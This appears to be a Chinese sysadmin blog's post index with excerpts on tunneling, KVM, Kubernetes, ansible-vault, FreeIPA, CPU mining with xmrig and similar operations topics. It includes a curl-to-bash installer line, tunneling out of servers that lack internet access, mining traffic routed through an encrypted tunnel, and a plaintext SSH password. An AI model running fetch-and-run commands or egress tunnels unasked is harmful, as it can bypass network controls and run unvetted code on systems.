客户端的服务器呢无外网访问权限，需要访问中转服务器 192.168.1.1 的 9999 端口，然后数据通过 ghostunnel 加密穿出到外网。

中转服务器配置如下：

# ghostunnel 监听本地环回地址的9999端口，TLS 加密穿越到外网110.114.5.19:9999，然后根据外网 server 里面的配置，到达最终目的地 ip 和 端口
ghostunnel client --listen localhost:9999 --target 110.114.5.19:9999 --keystore client.pem --cacert ca.pem --unsafe-listen

# gost 监听本地网卡192.168.1.1的9999端口
gost-linux-amd64-2.11.1 -L=tls://192.168.1.1:9999

客户端配置如下：

gost-linux-amd64-2.11.1 -L=tcp://localhost:9999/localhost:9999 -F=tls://192.168.1.1:9999

这样客户端的程序，只要连接 localhost:9999 的 tcp 端口，就可以接力中转服务器穿出去了。

上面的配置非常怪异吧，仔细解释一下：

中转服务器呢有两个地址，localhost的环回地址，以及本地网卡192.168.1.1

localhost:9999 是用 ghostunnel 加密 tcp 流量，tls 穿到外网 110.114.5.19 的 9999 端口，然后外网再转发。

KVM下宿主机的目录直通到虚机

Wed, 23 Feb 2022 09:30:11 +0800

这个需求也很有点意思，DBA 要求做 MySQL 的卸载从库，数据量会很大，硬盘空间后期需要扩容，但是 cpu 反倒占的不多。

单独 MySQL 是无法限制其 CPU 核使用的，这样的话，最好就是做个虚机来控制 MySQL 总 CPU 核数的使用，然后硬盘扩容的话，比如要拉伸虚机的附加第二块硬盘，如果是 QEMU 格式，会花费很长时间，所以干脆把宿主机的目录直接透传进虚机，之后如果要扩容加硬盘，直接把新的大硬盘 mount 出来再透进去即可，新旧硬盘拷贝数据也比拉伸虚机硬盘快。

CentOS7 下的做法如下：

两个大前提：

一、宿主机的 KVM qemu 系统需要使用新的 rpm 包，需要编译

二、虚机的内核需要升级，mount 命令需要支持 -t p9 的新格式

我们做好准备，就可以开始了

一、编译宿主机的qemu新包

现在已经是2022年了，所以编译的方式也发生变化了，最佳编译方式是干脆启动一个 Docker 虚拟机，来编译出来 rpm 包，也不污染环境。

首先克隆下来项目：

git clone https://github.com/AlekseyChudov/qemu-kvm-virtfs.git

cd qemu-kvm-virtfs

看一下最后的 build 脚本，有一个地方需要修改：

现在的 CentOS 最新版是 7.9.2009 ，这个版本树里是没有 qemu 的 Source Code 的，需要修改 baseurl，降低到 7.8.2003 才有 Source 的 repo

baseurl=https://mirrors.tripadvisor.com/centos-vault/centos/\$releasever/virt/Source/kvm-common/

改成：

baseurl=https://mirrors.tripadvisor.com/centos-vault/centos/7.8.2003/virt/Source/kvm-common/

改好后 build 脚本如下

如何用CPU挖Polygon网络的MATIC币

Tue, 22 Feb 2022 09:30:11 +0800

这是个严肃话题，正经挖以太币的话，很多的矿厂都是如果直接挖到以太币地址，那么必须挖到完整一个才允许提现，手续费还特高。

但是如果挖到以太链Polygon的地址的话，就可以 0.005 ETH提币了，如下图所示

但是千万记住，Polygon提出的所谓 0.005 ETH，看下图，只是个ERC-20的Token，实际是wETH Token，必须经过转换才能提到 ETH 去。

从 ERC-20 转换到其它代币呢，需要 MATIC 代币来付账，这玩意也必须得有啊！废话不多说，直接放上挖MATIC教程，我的机器是 CentoOS

首先需要有个完全自主的的 ETH 钱包地址，这个我就不教大家了

一、下载xmrig挖矿软件

下载地址：https://github.com/xmrig/xmrig/releases

我们选择最近的下载就好

二、做好加密通道

我们需要做好一条加密tcp通道

用 ghostunnel, localhost:9012 —> vps:9012 —> rx.unmineable.com:3333

三、用screen后台开挖

screen

#./xmrig -o localhost:9999 -a rx -k -u DOGE:MATIC地址.矿工名
./xmrig -o localhost:9012 -u MATIC:0x64358C7ddC96001697aBbA7ed431BADB6ABAaec5.cpu01 -p x --cpu-no-yield

ctrl+a+d

四、查看挖了多少

查看地址：https://unmineable.com/coins/MATIC/address/

五、兑换

挖到了足够的 MATIC，就可以愉快的兑换了。

Grafana画出prometheus的图

Tue, 18 Jan 2022 09:30:11 +0800

公司要做阿里的小程序接入，需要通过测试，测试呢需要提供硬盘的监控报告，比如 iops 。

同事从网上找了一下，iops 监控原文如下：监控磁盘的 iops ，利用 linux 的 /proc/diskstats 的第四个字段和第八字段可监控读和写的 iops，第四个记录是记录所有读的次数，第八个字段是记录所有写的次数。通过 zabbix 上的差速率即可监控磁盘的 iops。

文章链接：https://cloud.tencent.com/developer/article/1519113?ivk_sa=1024320u

仔细研究了一下上面的文章，看了它提供了两张监控图，分析一下：

第一张图：

有两个指标，绿色的是硬盘每秒的 io 读次数，红色的是硬盘每秒的 io 写次数。

第二张图：

同样两个指标，绿色的是硬盘每秒的 io 读 Bytes，红色的是硬盘每秒的 io 写 Bytes。

知道了指标具体的含义，这样就好办了。

我们用的是 prometheus 和 node_exporter

首先去看看 node_exporter 暴露的指标，搜一搜 node_disk，会看到如下4个指标：

# HELP node_disk_reads_completed_total The total number of reads completed successfully.
# TYPE node_disk_reads_completed_total counter
node_disk_reads_completed_total{device="sda"} 4.9530358e+07
# HELP node_disk_writes_completed_total The total number of writes completed successfully.
# TYPE node_disk_writes_completed_total counter
node_disk_writes_completed_total{device="sda"} 1.4449267304e+10

# HELP node_disk_read_bytes_total The total number of bytes read successfully.
# TYPE node_disk_read_bytes_total counter
node_disk_read_bytes_total{device="sda"} 6.4101677568e+11
# HELP node_disk_written_bytes_total The total number of bytes written successfully.
# TYPE node_disk_written_bytes_total counter
node_disk_written_bytes_total{device="sda"} 1.15483858333184e+14

可以看出是上面 4 个指标，这四个指标都是 counter 计数器类型的，都是只增不减的。

Javascript的项目与babel和eslint

Tue, 04 Jan 2022 09:30:11 +0800

最近开始弄hubot，顺带也开始学习 javascript ，首先从单独一个 nodejs 项目开始：

nvm 和 node 的安装使用在前面已经说过了： Nodejs多版本的安装与管理

新建一个项目目录，build01

然后在其下建立如下目录结构：

mkdir build01

cd build01
mkdir es6 dist

mkdir public
cd public
mkdir es6 dist

解释一下，es6 下放的是服务器端的源代码，dist 下放的是服务器端处理过的源代码。

public/es6 放的是浏览器端的源代码，public/dist 放的是浏览器端处理过的源代码。

一、安装gulp和babel

babel 是用来做 js 格式转换的，注意，原有的 babel-preset-es2015 已经不适用了。

npm install --save-dev gulp gulp-babel babel-preset-env@next

生成一个.babelrc 文件，内容就一行

{ "presets": ["env"] }

在 es6 目录下，建立一个测试的 test.js 文件，内容如下：

'use strict';

const sentences = [
  { subject: 'JavaScript', verb: 'is',  object: 'great' },
  { subject: 'Elephants',  verb: 'are', object: 'large' },
];

function say({ subject, verb, object }) {
  console.log(`${subject} ${verb} ${object}`);
}

for ( let s of sentences) {
  say(s);
}

仔细看，上面这个文件用到了 es6 的语法，对象的解构，of语法。

hubot集成企业微信+jenkins+ansible

Wed, 22 Dec 2021 09:30:11 +0800

Hubot是一个通用的聊天机器人，能和很多聊天软件集成，比如slack、rockchat、telegram、企业微信、IRC等。

公司用的是企业微信，之前用群机器人和 prometheus 集成，发送各种告警信息，但是群机器人无法接收消息；同时我们想集成进去很多自定义命令，比如发送指令就开始 jenkins build，发送 ansible 指令执行，发送流量图就自动把机房的流量图发过来，这个群机器人就用不成了。所以必须再直接一些，构建一个企业微信的应用。

一、企业微信安装前准备

安装前需要在企业微信中拿到4个信息：

WECHATWORK_CORP_ID
WECHATWORK_APP_AGENT_ID
WECHATWORK_APP_SECRET
WECHATWORK_AES_KEY

首先联系企业微信管理员新增一个应用：

在“管理后台-我的企业”中可以获得地一个信息，企业 ID 信息，CORP_ID ：

拿拿在“管理后台-应用管理-点击某具体应用-详情”页中可以获得二、三个信息， APP_AGENT_ID 和 APP_SECRET

第四个 AES_KEY 就比较麻烦了，我们进入这个应用，点击配置的图标：

然后进入，点击启用 API 接收

然后设置一下

url 填写 https://hubot.rendoumi.com/wechatwork/webhook
Token 点随机获取
EncodingAESKey 点随机获取，这就是具体的 AESKey 了

然后点击保存，这里必然会失败！没有关系，因为我们还没有装hubot呢。我们把这三个地方先记录下来，随后再来点击保存。

二、Hubot 安装前准备

1、注意上面地址：URL 地址是 https ，然后 hubot 的缺省地址是 http://xxx:8080 ，这样如果前面没有证书卸载的设备，就得搭建一个Nginx（haproxy、traefik）来代理 https 443端口到8080。

2、Hubot 是支持 Coffeescript 和 nodejs 的，从它的 Adapters 网页看

https://hubot.github.com/docs/adapters/development/

里面都是 coffee 味的单箭头函数，导致不太熟悉的八戒以为在 wechatwork module导出的时候也应该用单箭头函数，结果就悲剧了。

nodejs多版本的安装与管理

Fri, 17 Dec 2021 09:30:11 +0800

最近在搞 JavaScripts，nodejs的版本满天飞，之前用的 nvm 管理的方法突然不能用了。

这里记录一下，比较新的 nvm 的安装使用方法：

下载安装：

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash

以上的脚本安装到底做了什么呢？

一、它 clone 了 nvm 到 $HOME/.nvm目录

二、它在 .bashrc 中添加了三行

事实上它是根据当前的 bash 选择在 .bash_profile、.zshrc、.profile、.bashrc中的某一个进行添加

然后我们退出终端，并重新进入，看看

nvm list
nvm ls-remote

然后选择最新的版本安装：

nvm install v16.13.1

如果想使用不同版本

nvm use 14.0.0

设置缺省版本或者取消

nvm alias defaut <your_nodejs_default_version>

nvm alias default 14.0.0
node -v # prints 14.0.0

参考地址：https://github.com/nvm-sh/nvm

Backblaze类S3免费免备案对象存储

Wed, 08 Dec 2021 09:30:11 +0800

S3 的桶存储可以用 minio 来模拟。

网上有个 Backblaze 的网站，提供 10GB 的免费空间，且如果是公网访问，1GB流量是免费的，如果前面套了 Cloudflare 的CDN，那基本是全免了。

说下使用方式：

首先去 https://www.backblaze.com/ 注册个帐号：

然后直接建个桶（Create a Bucket）

桶文件类型选择 public，否则无法公网访问：

然后 gen 出 master app key 来并记录好：

随后最大的问题就来了，如果你用它页面自带的上传下载工具，彻底完蛋，拖进去的文件夹会变成扁平的，完全丧失目录结构。

必须要找一个好用的上传工具了，推荐 b2 。

b2 工具下载：

https://github.com/Backblaze/B2_Command_Line_Tool

下载后直接改名为 b2 ，然后放到 /usr/local/bin 中

wget -O /usr/local/bin/b2 https://github.com/Backblaze/B2_Command_Line_Tool/releases/download/v3.1.0/b2-linux
chmod 755 /usr/lcoal/b2

运行一下，有很多命令参数：

详细的使用文档：

https://b2-command-line-tool.readthedocs.io/en/master/

先去配置帐号，输入applicationKeyId和applicationKey

b2 authorize-account

然后就可以往桶里传东西了，把当前目录下的东西传到 rendoumi 这个桶里，并且不要传 .git 目录

b2 sync --excludeDirRegex .git . b2://rendoumi/

套 Cloudflare 就随意了。full ssl，建个 CNAME 且用 Page rule 做 url 转发就可以了。

kubernetes下定制服务器503以及其他的403消息

Mon, 29 Nov 2021 10:30:11 +0800

kubernetes下定制 http 50x 以及 40x 服务器返回信息的话，如果用 Nginx 做 ingress，大家会很自然想到直接用 nginx 来定制：

        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   /export/html;
        }

这样做是不行的，因为 Nginx 作为 ingress 来使用，就不能落地，只能做转发；如果你落地了，访问了本地文件，就违背了初衷。而且在 ingress 的 pod 上放页面，会导致 ingress 的配置错乱。

那么正确 50x 重定位的方法如下：首先建立一个 deploy 和对应的 svc，就是建立一个 web 服务器，能提供服务返回 50x 和 40x 的定制页面；然后在 ingress

内指定 custom-http-errors 和 default-backend 指向它就可以了。

一、建立miniserve的deploy和svc

我们选用 rust 的 miniserve 作为 web 服务器，准备好定制好的 index.html，写个 Dockerfile

网址：https://github.com/svenstaro/miniserve

FROM alpine:3.12
RUN apk add --update bash && rm -rf /var/cache/apk/*

COPY . /data/

RUN    rm -rf /data/Dockerfile

WORKDIR /data
EXPOSE 8080

CMD ["/data/miniserve","--index","index.html"]
#CMD /bin/sh -c "while true; do echo hi; sleep 10; done"

作出镜像后推送到阿里镜像：registry.cn-shanghai.aliyuncs.com/rendoumi/miniserve:lastest

kubernetes下nginx ingress的限制

Mon, 29 Nov 2021 09:30:11 +0800

在 kubernetes 中，ingress 负责转发、融断和限流。

我们以 Nginx ingress 为例，讨论一下这方面的问题。

一、Nginx ingress黑白名单

这个很简单了，丢进黑名单或者白名单，在入口前拦一刀。

我们只要在 annotations 声明即可：

apiVersion: networking.k8s.io/v1beta1 
kind: Ingress 
metadata: 
name: www-com-ingress 
annotations: 
   kubernetes.io/ingress.class: nginx 
   nginx.ingress.kubernetes.io/ssl-redirect: "true" 
   nginx.ingress.kubernetes.io/block-cidrs: a.b.c.d/32 
   #nginx.ingress.kubernetes.io/whitelist-source-range: a.b.c.d/32 
spec: 
tls: 
- hosts: 
   - www.huabbao.com 
   secretName: www-huabbao-com-cert 
rules: 
- host: www.huabbao.com 
   http: 
     paths: 
     - path: / 
       backend: 
         serviceName: nginx-svc

注意，多个ip的话，之间用逗号隔开（该值是逗号分隔的CIDR列表）：

kubernetes搭建minio作为阿里OSS的Gateway

Fri, 26 Nov 2021 09:30:11 +0800

阿里的云的 OSS 并不是完全版本的 AWS S3 兼容。

我们如果需要用 S3 协议访问 OSS，就比较麻烦了。

所以搭建一个 minio 来做网关，代理OSS，minio 是基本兼容S3的，所以这样曲线救国，通过 S3 协议访问 minio 来访问最后端的 OSS

这里还有一段故事：

Minio 中间有一版是支持 oss 的，但是后来 oss 改了协议，所以现在的最新版本 minio 反而是不支持代理 oss 的，我们必须手动作出镜像，放到镜像库里，然后阿里 ACK 再使用

首先去下载那一版直接支持oss的

wget http://dl.minio.org.cn/server/minio/release/linux-amd64/archive/minio.RELEASE.2020-04-15T19-42-18Z 

chmod 755 minio.RELEASE.2020-04-15T19-42-18Z

这个文件比较宝贵，给个本地备份链接下载：

minio.RELEASE.2020-04-15T19-42-18Z

然后在当前目录编辑 Dockerfile ，因为 K8S 和 OSS 同一地域，所以用 OSS 私网域名：

FROM alpine:3.12 

RUN apk add --update bash && rm -rf /var/cache/apk/*  

COPY minio.RELEASE.2020-04-15T19-42-18Z /data/minio.RELEASE.2020-04-15T19-42-18Z  

ENV MINIO_ACCESS_KEY=LTAI5tFFTbsxxxxxuLb  
ENV MINIO_SECRET_KEY=t78PyGnHZilxxxxxdxBCjvNgtVC5Y  

WORKDIR /data  
EXPOSE 9000  

CMD ["/data/minio.RELEASE.2020-04-15T19-42-18Z","gateway","oss","http://oss-cn-shanghai-internal.aliyuncs.com"] 
# CMD /bin/sh -c "while true; do echo hi; sleep 10; done"

注意上面，MINIO_ACCESS_KEY 和 MINIO_SECRET_KEY 对应的是阿里云 OSS的 AccessKey ID 和 AccessKey Secret

替代kubernetes crontab的神器kala

Thu, 25 Nov 2021 10:30:11 +0800

本来 k8s 的 crontab 是启动一个容器来运行的，很简单，如下：

apiVersion: batch/v1beta1
kind: CronJob
metadata:
  name: curl-cron
spec:
  schedule: "*/1 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: curl-cron
            image: radial/busyboxplus:curl
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - date;echo "run crontab";curl http://www.baidu.com
          restartPolicy: OnFailure
  successfulJobsHistoryLimit: 2
  failedJobsHistoryLimit: 2

上面就跑了一个 busybox 的 pod，每分钟去访问百度，然后在 stdout 输出结果

这个没什么，注意上面文件的最后两行。限制成功以及失败 job 的 History 数量，如果不加限制，kubectl get pods 会看到无穷无尽的completed 状态的 curl-cron pod。

kubernetes的hpa和自定义指标hpa

Thu, 25 Nov 2021 09:30:11 +0800

kubernetes 的动态伸缩 HPA 是非常有用的特性。

我们的服务器托管在阿里云的 ACK 上，k8s 根据 cpu 或者内存的使用情况，会自动伸缩关键 pod 的数量，以应对大流量的情形。而且更妙的是，动态扩展的 pod 并不是使用自己的固定服务器，而是使用阿里动态的 ECI 虚拟节点服务器，这样就真的是即开即用，用完即毁。有多大流量付多少钱，物尽其用。

我们先明确一下概念：

k8s 的资源指标获取是通过 api 接口来获得的，有两种 api，一种是核心指标，一种是自定义指标。

核心指标：Core metrics，由metrics-server提供API，即 metrics.k8s.io，仅提供Node和Pod的CPU和内存使用情况。api 是 metrics.k8s.io
自定义指标：Custom Metrics，由Prometheus Adapter提供API，即 custom.metrics.k8s.io，由此可支持任意Prometheus采集到的自定义指标。api 是 custom.metrics.k8s.io 和 external.metrics.k8s.io

一、核心指标metrics-server

阿里的 ACK 缺省是装了 metrics-server 的，看一下，系统里有一个metrics-server

kubectl get pods -n kube-system

再看看 api 的核心指标能拿到什么，先看 Node 的指标：

kubectl get --raw "/apis/metrics.k8s.io" | jq .
kubectl get --raw "/apis/metrics.k8s.io/v1beta1" | jq .
kubectl get --raw "/apis/metrics.k8s.io/v1beta1/nodes" | jq .

可以看到阿里 eci 虚拟节点的 cpu 和 memory 资源。

ansible vault加密的使用

Wed, 24 Nov 2021 09:30:11 +0800

公司已经由 saltstack 全面转向了 ansible 。

用 ansible-playbook 执行各种任务的时候，需要登录主机，就必然涉及到主机 ssh 密码的输入。

最早我们是在 inventory 里做了定义：

[deqin:vars]
ansible_ssh_common_args="-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
host_key_checking=False
ansible_ssh_user="peadmin"
ansible_ssh_pass="Fuck2021!"

[deqin]
192.168.1.19

太直白了，所有看到这文件内容的人都会知道密码了。完全没有安全性，这样行不通啊！

好在 ansible-vault 提供了一种方法来解决：那就是生成一个密文放进去，然后解开它必须再输入一个密码。这样看到的人也不知道实际的密码到底是什么

具体的做法如下，首先生成 key –> 加密字符串的键值对：

ansible-vault encrypt_string 'Fuck2021!' --name 'ansible_ssh_pass'

输入密码，会得到下面一串字符

ansible_ssh_pass: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          37393235646234613332646366306233346330656666623862313339313861393239646261366237
          6663343263363161643634653266343466356634656539650a393834663938636165336431656433
          66333761643538623434363334316661653035313166333137373562363436613636366162353239
          3661623733323933350a373164626131646235616361356638653733646534616163393362373135
          6139

这个就是密文了，必须用输入的密码才能解开。

注意：这里的键值 name 不可改变，如果你想把字符串拷贝下来，改掉 ansible_ssh_pass 的名字，改成别的，想改名引用，是不行的。

这一大长串密文有以下两种用法：

一、ini格式的inventory引用

最原始的 inventory.ini 内容如下：

[deqin:vars]
ansible_ssh_common_args="-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
host_key_checking=False
ansible_ssh_user="peadmin"

[deqin]
192.168.1.19

我们定义 playbook 文件 shenji.yml：

- hosts: deqin
  become: yes
  vars_files:
    - pass.yml
  vars:
    ansible_ssh_pass: '{{ ansible_ssh_pass }}'

  tasks:
    - name: mkdirs
      file: path="{{ item }}" state=directory
      with_items:
        - "OS.05"
        - "OS.06"

把密文放进 pass.yml 文件

使用FreeIPA和FreeRadius搭建双因子认证服务器

Tue, 23 Nov 2021 09:30:11 +0800

审计啊审计，公司使用的华为防火墙需要配置双因子登录认证，这下麻烦了。

查了一下华为手册，支持 Radius 认证，那么没办法，最省钱的办法就是用 FreeIPA 和 FreeRadius 搭一套 OTP 双因子认证了。

系统是 CentOS 7 ，已关闭防火墙服务，方法如下：

一、搭建FreeIPA

首先设置 hostname

hostnamectl set-hostname freeipa.rendoumi.local

echo "192.168.1.5 freeipa.rendoumi.local" >> /etc/hosts

然后安装 FreeIPA，注意要回答的几个问题

不装bind，无论是 dnsmasq 或 coredns，都比 bind 轻，要装也装那两个。
server hostname 是 freeipa.rendoumi.local
domian name 是 rendoumi.local
realm name 是大写的 RENDOUMI.LOCAL
有两个密码，第一个是 LDAP 的密码，第二个是 IPA 的密码

yum -y install deltarpm
yum update

yum -y install freeipa-server

sysctl net.ipv6.conf.all.disable_ipv6=0

ipa-server-install

This program will set up the IPA Server.

This includes:
  * Configure a stand-alone CA (dogtag) for certificate management
  * Configure the Network Time Daemon (ntpd)
  * Create and configure an instance of Directory Server
  * Create and configure a Kerberos Key Distribution Center (KDC)
  * Configure Apache (httpd)

To accept the default shown in brackets, press the Enter key.

WARNING: conflicting time&date synchronization service 'chronyd' will be disabled in favor of ntpd

Do you want to configure integrated DNS (BIND)? [no]:no

Server host name [freeipa.rendoumi.local]:

Please confirm the domain name [rendoumi.local]:

Please provide a realm name [RENDOUMI.LOCAL]:

Directory Manager password:
Password (confirm):
...
IPA admin password:
Password (confirm):

The IPA Master Server will be configured with:
Hostname:       freeipa.rendoumi.local
IP address(es): 192.168.1.5
Domain name:    rendoumi.local
Realm name:     RENDOUMI.LOCAL

Continue to configure the system with these values? [no]: yes

The following operations may take some minutes to complete.
Please wait until the prompt is returned.

Configuring NTP daemon (ntpd)

...

Setup complete

Next steps:
        1. You must make sure these network ports are open:
                TCP Ports:
                  * 80, 443: HTTP/HTTPS
                  * 389, 636: LDAP/LDAPS
                  * 88, 464: kerberos
                UDP Ports:
                  * 88, 464: kerberos
                  * 123: ntp

        2. You can now obtain a kerberos ticket using the command: 'kinit admin'
           This ticket will allow you to use the IPA tools (e.g., ipa user-add)
           and the web user interface.

Be sure to back up the CA certificate stored in /root/cacert.p12
This file is required to create replicas. The password for this file is the Directory Manager password

以上，就装好了 FreeIPA，配置文件在 /etc/ipa/default.conf

KVM下附加硬盘的passthrough直通

Fri, 19 Nov 2021 10:30:11 +0800

这个比较有意思，同事要存放 2TB 的数据，但是系统是 1.7TB 的 4 块 600G 盘组成的 Raid10。

很明显盘空间不够了，去库房找两块 10TB 的大盘组成 Raid1 给他用好了。

问题来了，系统是 KVM 虚机，怎样把这个 10TB 的大盘给送进虚机呢？

这里面还真有要注意的问题：

Important

Guest virtual machines should not be given write access to whole disks or block devices (for example, /dev/sdb). Guest virtual machines with access to whole block devices may be able to modify volume labels, which can be used to compromise the host physical machine system. Use partitions (for example, /dev/sdb1) or LVM volumes to prevent this issue.

CentOS7的救援模式和紧急模式

Fri, 19 Nov 2021 09:30:11 +0800

说到 CentOS7 的紧急模式与救援模式，网上可以搜到漫天飞的帖子，说一下区别

RESCUE 救援模式：救援模式启动的系统没有挂载硬盘，可以将硬盘 mount 出然后拷出数据。

EMERGENCY 紧急模式：紧急模式启动的系统是一个最小的环境。根目录档案系统将会被挂载为仅能读取，而且将不会做任何的设定。

当然进入的方法也很简单，进入系统的时候按 e 修改 grub 菜单参数，就可以进入不同的模式

本文讨论的重点不是怎么进去，而是那两句命令，在紧急状态下反正我是记不住的

systemd.unit=rescue.target
systemd.unit=emergency.target

都没有之前的 single 简单，也完全记不住，既然记不住，那就干脆做到菜单里好了，这才是本文的重点。

现在都是使用 grub2 了，而不是 grub，这很重要。grub2的配置文件是 /boot/grub2/grub.cfg。

修改 grub2 有两个工具，grub2-mkconfig 和 grubby，不要同时使用这两个工具修改，会覆盖的

grub2-mkconfig 会去搜索 /boot 目录下的内核文件，有多少个内核就会生成多少个启动项。那么如果是同一个内核，想修改不同的启动参数，做多个启动项就完蛋，他不能自动生成单内核的多个启动项
grubby 很灵活，可以根据当前 grub2 的配置，生成一个内核，多个不同启动参数的多个启动项。

那么我们要加进去两个只是启动参数不同，内核其实一样的启动项，用 grubby 就好了

grubby --add-kernel=\$(ls -1cat /boot/vmlinuz*|grep rescue) --title="RESCUE BOOT" --initrd=\$(ls -1cat /boot/initramfs*|grep rescue) --args="systemd.unit=rescue.target" --copy-default

grubby --add-kernel=\$(ls -1cat /boot/vmlinuz*|grep rescue) --title="EMERGENCY BOOT" --initrd=\$(ls -1cat /boot/initramfs*|grep rescue) --args="systemd.unit=emergency.target" --copy-default

切忌我们之后不能运行

linux下web pacproxy的用法

Tue, 16 Nov 2021 09:30:11 +0800

说实在话，这个场景非常怪异，客户在 linux 下要动态根据 url 选择代理：

看图，中间的是前端代理，地址是 192.168.1.1:8080，然后客户设置使用这个代理

export http_proxy=http://192.168.1.1:8080
export https_proxy=http://192.168.1.1:8080

然后对应后端有三个代理，两个 http 代理，一个 socks 代理

http  192.168.2.1:3128
socks 192.168.2.2:1080
http  192.168.2.3:3128

我们要根据客户的请求 URL 来决定具体要使用后端的哪个代理

这个如果在浏览器上设置非常容易，设置 PAC 即可。但是偏偏客户端不是浏览器，而是一个程序，那么麻烦就来了。怎么设置呢？

步骤很简单：

一、安装 pacproxy

网址：https://github.com/williambailey/pacproxy

wget https://github.com/williambailey/pacproxy/releases/download/v.2.0.4/pacproxy_2.0.4_linux_amd64.tar.gz
tar zxvf pacproxy_2.0.4_linux_amd64.tar.gz

拷出来 pacproxy 备用

二、生成配置文件

最主要的就是 PAC 文件的生成

我们给个例子：

cat << EOF >> pac
function FindProxyForURL(url, host)
{
    if (host == "www.baidu.com") {
        return "PROXY 192.168.2.1:3128";
    }
    else if (host == "www.sina.com.cn") {
        return "SOCKS 192.168.2.2:1080";
    }
    else if (host == "www.sohu.com") {
        return "SOCKS 192.168.2.3:1080";
    }    
    else {
        return "DIRECT";
    }
}
EOF

其实 PAC 文件的内容就是一段 javascript，用来返回代理的地址

Tomcat server.xml配置详细解释

Mon, 15 Nov 2021 10:30:11 +0800

Tomcat 是一个 HTTP server。同时，它也是一个 serverlet 容器，可以执行 java 的 Servlet，也可以把 JavaServer Pages（JSP）和 JavaServerFaces（JSF）编译成 Java Servlet。它的模型图如下：

给个生产环境 server.xml 的例子：

<?xml version='1.0' encoding='utf-8'?>
<Server port="-1" shutdown="SHUTDOWN">
  <Listener className="org.apache.catalina.startup.VersionLoggerListener" /> 
  <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
  <Listener className="org.apache.catalina.core.JreMemoryLeakPreventionListener" />
  <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener" />
  <Listener className="org.apache.catalina.core.ThreadLocalLeakPreventionListener" />

  <GlobalNamingResources>
    <Resource name="UserDatabase" auth="Container"
              type="org.apache.catalina.UserDatabase"
              description="User database that can be updated and saved"
              factory="org.apache.catalina.users.MemoryUserDatabaseFactory"
              pathname="conf/tomcat-users.xml" />
  </GlobalNamingResources>

  <Service name="Catalina">
    <Connector port="8080" 
               server="www.rendoumi.com" 
               protocol="org.apache.coyote.http11.Http11NioProtocol"
               maxHttpHeaderSize="8192"
               acceptCount="500"
               maxThreads="1000" 
               minSpareThreads="200"
               enableLookups="false" 
               redirectPort="8443"
               connectionTimeout="20000"
               relaxedQueryChars="[]|{}@!$*()+'.,;^\`&quot;&lt;&gt;"
               disableUploadTimeout="true" 
               allowTrace="false"
               URIEncoding="UTF-8" 
               useBodyEncodingForURI="true" />  

    <Engine name="Catalina" defaultHost="localhost">
      <Realm className="org.apache.catalina.realm.LockOutRealm">
        <Realm className="org.apache.catalina.realm.UserDatabaseRealm"
               resourceName="UserDatabase"/>
      </Realm>
      <Host name="localhost" appBase="webapps" unpackWARs="false" autoDeploy="false">
          <Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" prefix="access_log." suffix=".txt"  
                fileDateFormat="yyyy-MM-dd"
                pattern="%a|%A|%T|%{X-Forwarded-For}i|%l|%u|%t|%r|%s|%b|%{Referer}i|%{User-Agent}i " resolveHosts="false"/> 
          <Context path="" docBase="/export/servers/tomcat/webapps/web" /> 
      </Host>

    </Engine>
  </Service>
</Server>

分解开来一部分一部分的看：

GlusterFS文件系统的优化

Mon, 15 Nov 2021 09:30:11 +0800

公司用了6年的GlusterFS终于到了要调整卷参数的地步了。

小文件已经多到要影响 IO 的地步了。

首先说一下结论，GlusterFS 安装完成后，基本不需要调整任何参数。生产系统千万不可盲目！

然后我们这是有特殊情况，所以调优步骤如下（以卷名为 esign-vol 为例）：

#必须关掉NFS
gluster volume set esign-vol nfs.disable on

#必须保留10%的空间，避免塞爆卷空间
gluster volume set esign-vol cluster.min-free-disk 10%

#本机有256G的内存，所以设置25G的读缓存
gluster volume set esign-vol performance.cache-size 25GB
#读缓存中，单个文件的缓存，最大文件size是128MB，大于128MB的单个文件不缓存
gluster volume set esign-vol performance.cache-max-file-size 128MB

#设置每个客户端都允许多线程，缺省是2，多个小文件增加为4
gluster volume set esign-vol client.event-threads 4
#设置服务器端对特定的卷允许多线程，缺省是1,多个小文件增加为4
gluster volume set esign-vol server.event-threads 4

#分割线，以下参数不要调整，除非明确知道后果

#设置 io 线程数量，这个值缺省是16，已经很大了，足够用
gluster volume set esign-vol performance.io-thread-count 16
#设置写缓冲区，这个值缺省是1M，弄大了如果停电什么的，会丢数据
gluster volume set esign-vol performance.write-behind-window-size: 1M

以上就可以了。还有个参数 global-threading ，缺省是 off，不要设置为 on，有使用条件的，弄错了反而会导致性能降低。

Python的协程详细解释

Fri, 12 Nov 2021 09:30:11 +0800

在实际中遇到这样一个问题，公司软件发布上线自动化。

说简单点，就是需要去登录一个上线的内部网站，然后爬下所有的上线数据。

然后根据爬下来的数据整理好，可以一起上线的，就并发多线程，其实就是去传参数点击一个链接等返回。

不能并发的就单线程点链接。

那这个事情必须更有效率，单线程的没问题，用 python 的 request 就可以实现了。

我们仔细研究一下协程，先讲一下历史：

使用Python的人往往纠结在多线程、多进程，哪个效率更高？到底用哪个好呢？

其实 Python 的多进程和多线程，相对于别家的协程和异步处理机制，都不行，线程之间切换耗费 CPU 和寄存器，OS 的调度不可控，多进程之间通讯也不便。性能根本不行。

后来呢 Python 改进了语法，出现了 yiled from 充当协程调度，有人就根据这个特性开发了第三方的协程框架，Tornado，Gevent等。

官方也不能坐视不理啊，任凭别人出风头，于是 Python 之父深入简出3年，苦心钻研自家的协程，async/await 和 asyncio 库，并放到 Python3.5 后成为官方原生的协程。

对于 http请求、读写文件、读写数据库这种高延时的 IO 操作，协程是个大杀器，优点非常多；它可以在预料到一个阻塞将发生时，挂起当前协程，跑去执行其它协程，同时把事件注册到循环中，实现了多协程并发，其实这玩意是跟 Nodejs 的回调学的。

看下图，详细解释下，左边我们有100个网页请求，并发100个协程请求（其实也是1个1个发），当需要等待长时间回应回应时，挂起当前协程，并注册一个回调函数到事件循环（Event Loop）中，执行下一个协程，当有协程事件完成再通过回调函数唤醒挂起的协程，然后返回结果。

